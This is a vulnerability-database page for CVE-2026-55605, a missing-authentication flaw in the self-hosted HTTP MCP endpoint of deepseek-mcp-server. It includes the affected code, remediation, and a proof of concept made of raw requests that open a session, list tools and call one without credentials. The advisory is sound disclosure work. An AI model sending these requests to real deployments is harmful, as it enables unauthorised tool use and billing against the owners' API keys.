Vulnerability-Lookup

CVE-2026-55605 (GCVE-0-2026-55605)

Vulnerability from cvelistv5 – Published: 2026-07-09 21:10 – Updated: 2026-07-10 13:35

Title

@arikusi/deepseek-mcp-server Missing Authentication on Self-Hosted HTTP MCP Endpoint

Summary

DeepSeek MCP Server is an MCP server for DeepSeek V4. Starting in version 1.4.2 and prior to version 1.8.0, the self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one. This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`). Version 1.8.0 contains a patch for this issue.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-10 13:35 UTC

CWE

CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/arikusi/deepseek-mcp-server/se…	x_refsource_CONFIRM
https://github.com/arikusi/deepseek-mcp-server/bl…	x_refsource_MISC
https://github.com/arikusi/deepseek-mcp-server/re…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
arikusi	deepseek-mcp-server	Affected: >= 1.4.2, < 1.8.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-55605

Vulnerability from fkie_nvd - Published: 2026-07-09 22:17 - Updated: 2026-07-10 19:20

Severity

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/arikusi/deepseek-mcp-server/blob/main/CHANGELOG.md#180---2026-06-14
	security-advisories@github.com	https://github.com/arikusi/deepseek-mcp-server/releases/tag/v1.8.0
	security-advisories@github.com	https://github.com/arikusi/deepseek-mcp-server/security/advisories/GHSA-72f3-6w86-7rv3
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/arikusi/deepseek-mcp-server/security/advisories/GHSA-72f3-6w86-7rv3

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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GHSA-72F3-6W86-7RV3

Vulnerability from github – Published: 2026-08-25 18:38 – Updated: 2026-08-25 18:38

Summary

@arikusi/deepseek-mcp-server: Missing Authentication on Self-Hosted HTTP MCP Endpoint

Details

Summary

The self-hosted HTTP transport of @arikusi/deepseek-mcp-server exposes POST /mcp without any authentication: createMcpExpressApp is called without an authProvider and no middleware guards the route, so any network-reachable client can issue an unauthenticated initialize request and obtain a valid MCP session identifier. In reproduced testing against commit 5e1302171e99, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local deepseek_sessions tool with no credentials. The same unauthenticated session also exposes deepseek_chat, whose handler uses the server-side DEEPSEEK_API_KEY when self-hosted deployments configure one.

This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in README.md, which expects an Authorization: Bearer ... header. Upstream self-hosted container assets enable HTTP mode by default (Dockerfile) and publish port 3000 (docker-compose.yml).

Affected Code

src/transport-http.ts:17 — createMcpExpressApp called without authProvider; no challenge is issued to incoming requests

export function createHttpApp(serverFactory: () => McpServer) {
  const app = createMcpExpressApp({ host: '0.0.0.0' });

src/transport-http.ts:31 — POST /mcp handler instantiates a full MCP session for any body that satisfies isInitializeRequest, with no preceding auth check

  app.post('/mcp', async (req, res) => {
    const sessionId = req.headers['mcp-session-id'] as string | undefined;

    if (sessionId && transports[sessionId]) {
      await transports[sessionId].handleRequest(req, res, req.body);
      return;
    }

    if (!sessionId && isInitializeRequest(req.body)) {
      const transport = new StreamableHTTPServerTransport({
        sessionIdGenerator: () => randomUUID(),
        onsessioninitialized: (id) => {
          transports[id] = transport;
          console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`);
        },
      });

      const server = serverFactory();
      await server.connect(transport);
      await transport.handleRequest(req, res, req.body);

HTTP client → POST /mcp (no auth middleware) → transport-http.ts:41 (isInitializeRequest branch) → transport-http.ts:57–59 (serverFactory()+connect+handleRequest)

Dockerfile:12-13 — upstream container image defaults to self-hosted HTTP mode

ENV TRANSPORT=http
ENV HTTP_PORT=3000

docker-compose.yml:4-8 — upstream compose file publishes port 3000 and enables HTTP mode

services:
  deepseek-mcp:
    ports:
      - "3000:3000"
    environment:
      - TRANSPORT=http

Proof of Concept

Step 1 — send unauthenticated initialize: server returns HTTP 200 and a live mcp-session-id — proves no credentials are required to establish a session.

python3 poc.py

POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc-client","version":"1.0"}}}

HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba

event: message
data: {"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true}},"serverInfo":{"name":"deepseek-mcp-server","version":"1.7.0"}},"jsonrpc":"2.0","id":1}

Step 2 — send unauthenticated tools/list on the obtained session: server returns the full tool surface (deepseek_chat, deepseek_sessions) — proves tool discovery is reachable without credentials.

POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba

{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}

RESULT: PASS — tools/list returned deepseek_chat and deepseek_sessions with no credentials supplied.

Step 3 — send unauthenticated tools/call for the local deepseek_sessions tool on the obtained session: server executes the tool and returns its result with no credentials supplied.

POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: 6cf58ad1-40cc-4cd4-99a3-f5f198b8bf71

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"deepseek_sessions","arguments":{"action":"list"}}}

HTTP/1.1 200 OK
content-type: text/event-stream

event: message
data: {"result":{"content":[{"type":"text","text":"No active sessions."}]},"jsonrpc":"2.0","id":2}

Impact

In self-hosted HTTP deployments, any host with network access to port 3000 can establish an authenticated-equivalent MCP session and invoke built-in MCP tools without supplying credentials. This was verified end-to-end for session establishment, tool enumeration, and execution of the local deepseek_sessions tool.

deepseek_chat is exposed through the same unauthenticated MCP session, and its handler routes requests through the server-side DeepSeek client. That means a deployment using a valid server-side DEEPSEEK_API_KEY places billable DeepSeek operations behind an unauthenticated endpoint. However, this report's reproduced PoC used a dummy API key and did not directly validate successful upstream DeepSeek billing or quota consumption.

Remediation

Require authentication in self-hosted HTTP mode before MCP session creation. At minimum, pass an authProvider to createMcpExpressApp at transport-http.ts:17 or place equivalent authentication middleware / a reverse proxy in front of /mcp so unauthenticated clients never reach the initialize branch:

const app = createMcpExpressApp({
  host: '0.0.0.0',
  authProvider,
});

For deployments that only need local access, bind to 127.0.0.1 instead of 0.0.0.0 in both createMcpExpressApp and app.listen (transport-http.ts:17 and :107) as a defence-in-depth measure. Upstream docker-compose.yml currently publishes 3000:3000; changing that to 127.0.0.1:3000:3000 would reduce inadvertent exposure on multi-user or server hosts.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@arikusi/deepseek-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.2"
            },
            {
              "fixed": "1.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:38:30Z",
    "nvd_published_at": "2026-07-09T22:17:06Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one.\n\nThis issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`).\n\n## Affected Code\n`src/transport-http.ts:17` \u2014 `createMcpExpressApp` called without `authProvider`; no challenge is issued to incoming requests\n\n```typescript\nexport function createHttpApp(serverFactory: () =\u003e McpServer) {\n  const app = createMcpExpressApp({ host: \u00270.0.0.0\u0027 });\n```\n\n`src/transport-http.ts:31` \u2014 `POST /mcp` handler instantiates a full MCP session for any body that satisfies `isInitializeRequest`, with no preceding auth check\n\n```typescript\n  app.post(\u0027/mcp\u0027, async (req, res) =\u003e {\n    const sessionId = req.headers[\u0027mcp-session-id\u0027] as string | undefined;\n\n    if (sessionId \u0026\u0026 transports[sessionId]) {\n      await transports[sessionId].handleRequest(req, res, req.body);\n      return;\n    }\n\n    if (!sessionId \u0026\u0026 isInitializeRequest(req.body)) {\n      const transport = new StreamableHTTPServerTransport({\n        sessionIdGenerator: () =\u003e randomUUID(),\n        onsessioninitialized: (id) =\u003e {\n          transports[id] = transport;\n          console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`);\n        },\n      });\n\n      const server = serverFactory();\n      await server.connect(transport);\n      await transport.handleRequest(req, res, req.body);\n```\n\nHTTP client \u2192 `POST /mcp` (no auth middleware) \u2192 `transport-http.ts:41` (`isInitializeRequest` branch) \u2192 `transport-http.ts:57\u201359` (`serverFactory()+connect+handleRequest`)\n\n`Dockerfile:12-13` \u2014 upstream container image defaults to self-hosted HTTP mode\n\n```dockerfile\nENV TRANSPORT=http\nENV HTTP_PORT=3000\n```\n\n`docker-compose.yml:4-8` \u2014 upstream compose file publishes port `3000` and enables HTTP mode\n\n```yaml\nservices:\n  deepseek-mcp:\n    ports:\n      - \"3000:3000\"\n    environment:\n      - TRANSPORT=http\n```\n\n## Proof of Concept\nStep 1 \u2014 send unauthenticated `initialize`: server returns HTTP 200 and a live `mcp-session-id` \u2014 proves no credentials are required to establish a session.\n\n```bash\npython3 poc.py\n```\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc-client\",\"version\":\"1.0\"}}}\n```\n\n```http\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\nmcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba\n\nevent: message\ndata: {\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{\"listChanged\":true},\"prompts\":{\"listChanged\":true},\"resources\":{\"listChanged\":true}},\"serverInfo\":{\"name\":\"deepseek-mcp-server\",\"version\":\"1.7.0\"}},\"jsonrpc\":\"2.0\",\"id\":1}\n```\n\nStep 2 \u2014 send unauthenticated `tools/list` on the obtained session: server returns the full tool surface (`deepseek_chat`, `deepseek_sessions`) \u2014 proves tool discovery is reachable without credentials.\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAccept: application/json, text/event-stream\nmcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba\n\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/list\",\"params\":{}}\n```\n\n```text\nRESULT: PASS \u2014 tools/list returned deepseek_chat and deepseek_sessions with no credentials supplied.\n```\n\nStep 3 \u2014 send unauthenticated `tools/call` for the local `deepseek_sessions` tool on the obtained session: server executes the tool and returns its result with no credentials supplied.\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAccept: application/json, text/event-stream\nmcp-session-id: 6cf58ad1-40cc-4cd4-99a3-f5f198b8bf71\n\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"deepseek_sessions\",\"arguments\":{\"action\":\"list\"}}}\n```\n\n```http\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\n\nevent: message\ndata: {\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"No active sessions.\"}]},\"jsonrpc\":\"2.0\",\"id\":2}\n```\n\n## Impact\nIn self-hosted HTTP deployments, any host with network access to port `3000` can establish an authenticated-equivalent MCP session and invoke built-in MCP tools without supplying credentials. This was verified end-to-end for session establishment, tool enumeration, and execution of the local `deepseek_sessions` tool.\n\n`deepseek_chat` is exposed through the same unauthenticated MCP session, and its handler routes requests through the server-side DeepSeek client. That means a deployment using a valid server-side `DEEPSEEK_API_KEY` places billable DeepSeek operations behind an unauthenticated endpoint. However, this report\u0027s reproduced PoC used a dummy API key and did not directly validate successful upstream DeepSeek billing or quota consumption.\n\n## Remediation\nRequire authentication in self-hosted HTTP mode before MCP session creation. At minimum, pass an `authProvider` to `createMcpExpressApp` at `transport-http.ts:17` or place equivalent authentication middleware / a reverse proxy in front of `/mcp` so unauthenticated clients never reach the initialize branch:\n\n```typescript\nconst app = createMcpExpressApp({\n  host: \u00270.0.0.0\u0027,\n  authProvider,\n});\n```\n\nFor deployments that only need local access, bind to `127.0.0.1` instead of `0.0.0.0` in both `createMcpExpressApp` and `app.listen` (`transport-http.ts:17` and `:107`) as a defence-in-depth measure. Upstream `docker-compose.yml` currently publishes `3000:3000`; changing that to `127.0.0.1:3000:3000` would reduce inadvertent exposure on multi-user or server hosts.",
  "id": "GHSA-72f3-6w86-7rv3",
  "modified": "2026-08-25T18:38:30Z",
  "published": "2026-08-25T18:38:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/security/advisories/GHSA-72f3-6w86-7rv3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55605"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/pull/4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/commit/dab07ed93ddde0ab219d4cb7066785847db53a32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/arikusi/deepseek-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/blob/main/CHANGELOG.md#180---2026-06-14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arikusi/deepseek-mcp-server/releases/tag/v1.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@arikusi/deepseek-mcp-server: Missing Authentication on Self-Hosted HTTP MCP Endpoint"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55605 (GCVE-0-2026-55605)

FKIE_CVE-2026-55605

GHSA-72F3-6W86-7RV3

Summary

Affected Code

Proof of Concept

Impact

Remediation

Tags

Sightings

Nomenclature

Related by attack behaviour